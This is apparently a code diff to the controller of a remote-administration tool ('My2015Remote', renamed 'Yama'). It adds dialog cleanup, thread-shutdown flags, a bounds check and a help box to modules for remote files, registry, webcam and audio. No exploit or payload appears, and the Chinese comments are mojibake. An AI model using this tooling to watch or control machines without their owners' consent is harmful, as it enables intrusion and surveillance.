#define WIN_HEIGHT 120 #define WIN_HEIGHT 250
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////

View File

@@ -2,7 +2,7 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments> <LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>

Binary file not shown.

View File

@@ -14,6 +14,7 @@
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid> <ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
<RootNamespace>My2015Remote</RootNamespace> <RootNamespace>My2015Remote</RootNamespace>
<Keyword>MFCProj</Keyword> <Keyword>MFCProj</Keyword>
<ProjectName>Yama</ProjectName>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">

View File

@@ -27,6 +27,7 @@
#define UM_ICONNOTIFY WM_USER+100 #define UM_ICONNOTIFY WM_USER+100
std::vector<CFileManagerDlg *> v_FileDlg; std::vector<CFileManagerDlg *> v_FileDlg;
std::vector<CRegisterDlg *> v_RegDlg;
enum enum
{ {
@@ -128,6 +129,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/)
CMy2015RemoteDlg::~CMy2015RemoteDlg() CMy2015RemoteDlg::~CMy2015RemoteDlg()
{ {
Sleep(200);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ++iter) iter != v_FileDlg.end(); ++iter)
@@ -138,6 +140,15 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
Sleep(1); Sleep(1);
delete cur; delete cur;
} }
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
iter != v_RegDlg.end(); ++iter)
{
CRegisterDlg *cur = *iter;
::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0);
while (false == cur->m_bIsClosed)
Sleep(1);
delete cur;
}
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
DeleteCriticalSection(&m_cs); DeleteCriticalSection(&m_cs);
} }
@@ -187,6 +198,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog) ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)
ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog) ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
ON_WM_HELPINFO()
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -1088,7 +1100,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
case FILEMANAGER_DLG: case FILEMANAGER_DLG:
{ {
CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg; CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
delete Dlg; ::SendMessage(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0);
//delete Dlg; <20><><EFBFBD><EFBFBD><E2B4A6>
break; break;
} }
case REGISTER_DLG: case REGISTER_DLG:
@@ -1243,6 +1256,21 @@ LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
ContextObject->v1 = REGISTER_DLG; ContextObject->v1 = REGISTER_DLG;
ContextObject->hDlg = Dlg; ContextObject->hDlg = Dlg;
EnterCriticalSection(&m_cs);
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
iter != v_RegDlg.end(); )
{
CRegisterDlg *cur = *iter;
if (cur->m_bIsClosed)
{
delete cur;
iter = v_RegDlg.erase(iter);
}else{
++iter;
}
}
v_RegDlg.push_back(Dlg);
LeaveCriticalSection(&m_cs);
return 0; return 0;
} }
@@ -1262,3 +1290,21 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
return 0; return 0;
} }
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{
MessageBox("Copyleft (c) FTU 2019", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
return TRUE;
}
BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN)
{
return TRUE;
}
return CDialogEx::PreTranslateMessage(pMsg);
}

View File

@@ -101,4 +101,6 @@ public:
afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg);
}; };

View File

@@ -17,6 +17,7 @@ CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *Cont
{ {
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC> m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>
m_bIsWorking = TRUE; m_bIsWorking = TRUE;
m_bThreadRun = FALSE;
m_iocpServer = IOCPServer; //Ϊ<><CEAA><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ m_iocpServer = IOCPServer; //Ϊ<><CEAA><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
m_ContextObject = ContextObject; m_ContextObject = ContextObject;
m_hWorkThread = NULL; m_hWorkThread = NULL;
@@ -31,6 +32,9 @@ CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *Cont
CAudioDlg::~CAudioDlg() CAudioDlg::~CAudioDlg()
{ {
m_bIsWorking = FALSE;
while (m_bThreadRun)
Sleep(50);
} }
void CAudioDlg::DoDataExchange(CDataExchange* pDX) void CAudioDlg::DoDataExchange(CDataExchange* pDX)
@@ -64,6 +68,8 @@ BOOL CAudioDlg::OnInitDialog()
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox //<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL); m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE // <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
} }
@@ -76,7 +82,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
{ {
if (!This->m_bSend) if (!This->m_bSend)
{ {
Sleep(1000); Sleep(50);
continue; continue;
} }
DWORD dwBufferSize = 0; DWORD dwBufferSize = 0;
@@ -85,6 +91,8 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
if (szBuffer != NULL && dwBufferSize > 0) if (szBuffer != NULL && dwBufferSize > 0)
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
} }
This->m_bThreadRun = FALSE;
return 0; return 0;
} }

View File

@@ -18,6 +18,7 @@ public:
CString m_strIPAddress; CString m_strIPAddress;
DWORD m_nTotalRecvBytes; DWORD m_nTotalRecvBytes;
BOOL m_bIsWorking; BOOL m_bIsWorking;
BOOL m_bThreadRun;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
CAudio m_AudioObject; CAudio m_AudioObject;

View File

@@ -80,7 +80,10 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD> // <20><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList));
memcpy(m_bRemoteDriveList, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); PBYTE pSrc = m_pContext->m_DeCompressionBuffer.GetBuffer(1);
int length = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
if (length > 0)
memcpy(m_bRemoteDriveList, pSrc, length);
m_nTransferMode = TRANSFER_MODE_NORMAL; m_nTransferMode = TRANSFER_MODE_NORMAL;
m_nOperatingFileLength = 0; m_nOperatingFileLength = 0;
@@ -305,7 +308,6 @@ void CFileManagerDlg::OnSize(UINT nType, int cx, int cy)
GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(20, cy / 2, 25, 20); GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(20, cy / 2, 25, 20);
GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(53, (cy / 2) - 4 , 210, 12); GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(53, (cy / 2) - 4 , 210, 12);
GetClientRect(&rect); GetClientRect(&rect);
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48); m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48);
@@ -351,7 +353,6 @@ void CFileManagerDlg::FixedLocalDriveList()
FreeMB = 0; FreeMB = 0;
} }
int nItem = m_list_local.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive))); int nItem = m_list_local.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive)));
m_list_local.SetItemData(nItem, 1); m_list_local.SetItemData(nItem, 1);
if (lstrlen(FileSystem) == 0) if (lstrlen(FileSystem) == 0)
@@ -407,9 +408,6 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
} }
} }
// <20>õ<EFBFBD><C3B5><EFBFBD>Ŀ¼ // <20>õ<EFBFBD><C3B5><EFBFBD>Ŀ¼
if (directory == "..") if (directory == "..")
{ {
@@ -423,7 +421,6 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
m_Local_Path += "\\"; m_Local_Path += "\\";
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD>Ŀ¼,<2C><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>б<EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD>Ŀ¼,<2C><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>б<EFBFBD>
if (m_Local_Path.GetLength() == 0) if (m_Local_Path.GetLength() == 0)
{ {
@@ -501,7 +498,6 @@ void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
return; return;
} //EO if(pDragList... } //EO if(pDragList...
pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED); pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED);
if ((CWnd *)pDropList == &m_list_local) if ((CWnd *)pDropList == &m_list_local)
@@ -519,48 +515,6 @@ void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
} }
// <20><><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD>
m_nDropIndex = -1; m_nDropIndex = -1;
// <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>벻Ҫ<EBB2BB>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
// if(pDragList->GetSelectedCount() == 1)
// {
// char szLabel[MAX_PATH];
// LVITEM lviT;
// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM
// lviT.iItem = m_nDragIndex;
// lviT.mask = LVIF_IMAGE | LVIF_TEXT;
// lviT.pszText = szLabel;
// lviT.cchTextMax = MAX_PATH;
// pDragList->GetItem (&lviT);
//
// // Select the new item we just inserted
// int iItem = (m_nDropIndex == -1) ? pDropList->GetItemCount () : m_nDropIndex;
//
// pDropList->InsertItem(iItem, szLabel, lviT.iImage);
//
// pDropList->SetItemState (iItem, LVIS_SELECTED, LVIS_SELECTED);
// }
// else //more than 1 item is being dropped
// {
// POSITION pos = pDragList->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
// while(pos) //so long as we have a valid POSITION, we keep iterating
// {
// m_nDragIndex = pDragList->GetNextSelectedItem(pos);
// m_nDropIndex = (m_nDropIndex == -1) ? pDropList->GetItemCount() : m_nDropIndex;
//
// char szLabel[MAX_PATH];
// LVITEM lviT;
// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM
// lviT.iItem = m_nDragIndex;
// lviT.mask = LVIF_IMAGE | LVIF_TEXT;
// lviT.pszText = szLabel;
// lviT.cchTextMax = MAX_PATH;
// pDragList->GetItem (&lviT);
//
// pDropList->InsertItem(m_nDropIndex, szLabel, lviT.iImage);
// pDropList->SetItemState(m_nDropIndex, LVIS_SELECTED, LVIS_SELECTED);
// m_nDropIndex ++;
// //Save the pointer to the new item in our CList
// } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
// }
} }
// The system calls this to obtain the cursor to display while the user drags // The system calls this to obtain the cursor to display while the user drags
@@ -613,7 +567,6 @@ void CFileManagerDlg::OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult)
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare("..")) if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(".."))
return; return;
//We will call delete later (in LButtonUp) to clean this up //We will call delete later (in LButtonUp) to clean this up
if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected
@@ -799,7 +752,6 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
<09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>ʺϰ<CABA><CFB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򴰿ڡ<F2B4B0BF> <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>ʺϰ<CABA><CFB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򴰿ڡ<F2B4B0BF>
*/ */
if(m_wndToolBar_Local.IsWindowVisible()) if(m_wndToolBar_Local.IsWindowVisible())
{ {
CWnd* pWndParent = m_wndToolBar_Local.GetParent(); CWnd* pWndParent = m_wndToolBar_Local.GetParent();
@@ -813,6 +765,7 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
return CDialog::PreTranslateMessage(pMsg); return CDialog::PreTranslateMessage(pMsg);
} }
void CFileManagerDlg::OnTimer(UINT nIDEvent) void CFileManagerDlg::OnTimer(UINT nIDEvent)
{ {
// TODO: Add your message handler code here and/or call default // TODO: Add your message handler code here and/or call default
@@ -837,14 +790,13 @@ void CFileManagerDlg::FixedRemoteDriveList()
m_list_remote.InsertColumn(2, "<EFBFBD>ܴ<EFBFBD>С", LVCFMT_LEFT, 100); m_list_remote.InsertColumn(2, "<EFBFBD>ܴ<EFBFBD>С", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD>ÿռ<EFBFBD>", LVCFMT_LEFT, 115); m_list_remote.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD>ÿռ<EFBFBD>", LVCFMT_LEFT, 115);
char *pDrive = NULL; char *pDrive = NULL;
pDrive = (char *)m_bRemoteDriveList; pDrive = (char *)m_bRemoteDriveList;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD> unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
char VolName[MAX_PATH]; //char VolName[MAX_PATH];
char FileSystem[MAX_PATH]; //char FileSystem[MAX_PATH];
/* /*
6 DRIVE_FLOPPY 6 DRIVE_FLOPPY
@@ -913,7 +865,6 @@ void CFileManagerDlg::FixedRemoteDriveList()
m_list_remote.SetItemText(nItem, 1, lpFileSystemName); m_list_remote.SetItemText(nItem, 1, lpFileSystemName);
} }
i += lstrlen(pDrive + i) + 1; i += lstrlen(pDrive + i) + 1;
} }
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̵<EFBFBD>ǰ·<C7B0><C2B7> // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̵<EFBFBD>ǰ·<C7B0><C2B7>
@@ -956,6 +907,7 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath)
strCurPath += "\\"; strCurPath += "\\";
return strCurPath; return strCurPath;
} }
void CFileManagerDlg::OnReceiveComplete() void CFileManagerDlg::OnReceiveComplete()
{ {
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
@@ -1054,6 +1006,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
m_list_remote.EnableWindow(FALSE); m_list_remote.EnableWindow(FALSE);
m_ProgressCtrl->SetPos(0); m_ProgressCtrl->SetPos(0);
} }
void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{ {
if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1) if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1)
@@ -1080,7 +1033,6 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
m_list_remote.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100); m_list_remote.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "<EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 115); m_list_remote.InsertColumn(3, "<EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 115);
int nItemIndex = 0; int nItemIndex = 0;
m_list_remote.SetItemData m_list_remote.SetItemData
( (
@@ -1188,7 +1140,6 @@ BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
if (GetRoutingFrame() != NULL) if (GetRoutingFrame() != NULL)
return FALSE; return FALSE;
//<2F><>ANSI and UNICODE<44><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><>ANSI and UNICODE<44><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR; TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR;
TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR; TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR;
@@ -1368,6 +1319,7 @@ void CFileManagerDlg::OnUpdateRemoteStop(CCmdUI* pCmdUI)
// TODO: Add your command update UI handler code here // TODO: Add your command update UI handler code here
pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload); pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload);
} }
bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName)
{ {
char lpszFilter[MAX_PATH]; char lpszFilter[MAX_PATH];
@@ -1417,6 +1369,7 @@ void CFileManagerDlg::EnableControl(BOOL bEnable)
m_Local_Directory_ComboBox.EnableWindow(bEnable); m_Local_Directory_ComboBox.EnableWindow(bEnable);
m_Remote_Directory_ComboBox.EnableWindow(bEnable); m_Remote_Directory_ComboBox.EnableWindow(bEnable);
} }
void CFileManagerDlg::OnLocalCopy() void CFileManagerDlg::OnLocalCopy()
{ {
m_bIsUpload = true; m_bIsUpload = true;
@@ -1489,7 +1442,6 @@ void CFileManagerDlg::OnRemoteCopy()
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CFileManagerDlg::SendDownloadJob() BOOL CFileManagerDlg::SendDownloadJob()
{ {
if (m_Remote_Download_Job.IsEmpty()) if (m_Remote_Download_Job.IsEmpty())
return FALSE; return FALSE;
@@ -1637,14 +1589,12 @@ void CFileManagerDlg::CreateLocalRecvFile()
WIN32_FIND_DATA FindFileData; WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData); HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData);
if (hFind != INVALID_HANDLE_VALUE if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL && m_nTransferMode != TRANSFER_MODE_JUMP_ALL
) )
{ {
CFileTransferModeDlg dlg(this); CFileTransferModeDlg dlg(this);
dlg.m_strFileName = m_strReceiveLocalFile; dlg.m_strFileName = m_strReceiveLocalFile;
switch (dlg.DoModal()) switch (dlg.DoModal())
@@ -1724,7 +1674,6 @@ void CFileManagerDlg::CreateLocalRecvFile()
memset(bToken + 1, 0, 8); memset(bToken + 1, 0, 8);
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD> // <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS; dwCreationDisposition = CREATE_ALWAYS;
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ƶ<EFBFBD>-1 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ƶ<EFBFBD>-1
else if (nTransferMode == TRANSFER_MODE_JUMP) else if (nTransferMode == TRANSFER_MODE_JUMP)
@@ -1744,7 +1693,6 @@ void CFileManagerDlg::CreateLocalRecvFile()
} }
FindClose(hFind); FindClose(hFind);
HANDLE hFile = HANDLE hFile =
CreateFile CreateFile
( (
@@ -1775,11 +1723,10 @@ void CFileManagerDlg::CreateLocalRecvFile()
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
} }
} }
// д<><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
// д<><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
void CFileManagerDlg::WriteLocalRecvFile() void CFileManagerDlg::WriteLocalRecvFile()
{ {
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE *pData; BYTE *pData;
DWORD dwBytesToWrite; DWORD dwBytesToWrite;
@@ -1796,7 +1743,6 @@ void CFileManagerDlg::WriteLocalRecvFile()
LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow; LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
HANDLE hFile = HANDLE hFile =
@@ -1878,7 +1824,6 @@ void CFileManagerDlg::EndLocalRecvFile()
void CFileManagerDlg::EndLocalUploadFile() void CFileManagerDlg::EndLocalUploadFile()
{ {
m_nCounter = 0; m_nCounter = 0;
m_strOperatingFile = ""; m_strOperatingFile = "";
m_nOperatingFileLength = 0; m_nOperatingFileLength = 0;
@@ -1899,6 +1844,7 @@ void CFileManagerDlg::EndLocalUploadFile()
} }
return; return;
} }
void CFileManagerDlg::EndRemoteDeleteFile() void CFileManagerDlg::EndRemoteDeleteFile()
{ {
if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop) if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop)
@@ -1944,7 +1890,6 @@ void CFileManagerDlg::ShowProgress()
else else
lpDirection = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"; lpDirection = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>";
if ((int)m_nCounter == -1) if ((int)m_nCounter == -1)
{ {
m_nCounter = m_nOperatingFileLength; m_nCounter = m_nOperatingFileLength;
@@ -2107,14 +2052,12 @@ void CFileManagerDlg::SendFileData()
ShowProgress(); ShowProgress();
if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop) if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop)
{ {
EndLocalUploadFile(); EndLocalUploadFile();
return; return;
} }
HANDLE hFile; HANDLE hFile;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE) if (hFile == INVALID_HANDLE_VALUE)
